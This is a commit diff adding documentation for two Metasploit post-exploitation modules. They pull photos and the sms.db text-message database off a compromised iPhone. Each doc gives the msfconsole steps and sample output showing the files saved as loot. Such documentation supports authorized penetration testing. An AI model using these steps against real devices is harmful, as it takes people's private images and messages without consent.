added docs for the two modules

documentation/modules/post/apple_ios/gather/ios_image_gather.md

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+## Description
+
+  This module downloads the discovered images on iPhones
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Get a session
+  3. Do: ```use post/apple_ios/gather/ios_image_gather```
+  4. Do: ```set SESSION <session>```
+  5. Do: ```run```
+  6. You should get images from the iPhone target.
+
+## Scenarios
+
+### Tested on iOS 10.3.3 on an iPhone 5
+
+  ```
+
+  msf5 > use post/apple_ios/gather/ios_image_gather 
+  msf5 post(apple_ios/gather/ios_image_gather) > set session 1
+  session => 1
+  msf5 post(apple_ios/gather/ios_image_gather) > run
+
+  [!] SESSION may not be compatible with this module.
+  [+] Image path found. Will begin searching for images...
+  [*] Directory for iOS images: /Users/space/.msf4/loot/KlaBVw
+  [*] Downloading image: IMG_0001.JPG
+  [*] Downloading image: IMG_0002.JPG
+  [*] Downloading image: IMG_0003.JPG
+  [*] Downloading image: shell.php.jpg
+  [*] Post module execution completed
+
+
+  ```

documentation/modules/post/apple_ios/gather/ios_text_gather.md

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+## Description
+  
+  This module downloads the `sms.db` file from iPhones
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Get a session
+  3. Do: ```use post/apple_ios/gather/ios_text_gather```
+  4. Do: ```set SESSION <session>```
+  5. Do: ```run```
+  6. You should get the sms.db file on the iPhone target
+
+## Scenarios
+
+### Tested on iOS 10.3.3 on an iPhone 5
+
+  ```
+
+  msf5 > use post/apple_ios/gather/ios_text_gather
+  msf5 post(apple_ios/gather/ios_text_gather) > set session 1
+  session => 1
+  msf5 post(apple_ios/gather/ios_text_gather) > run
+
+  [!] SESSION may not be compatible with this module.
+  [+] sms.db file found
+  [+] sms.db stored at /Users/space/.msf4/loot/20181101154200_default_192.168.43.49_sms.db.file_591456.txt
+  [*] Post module execution completed
+
+
+  ```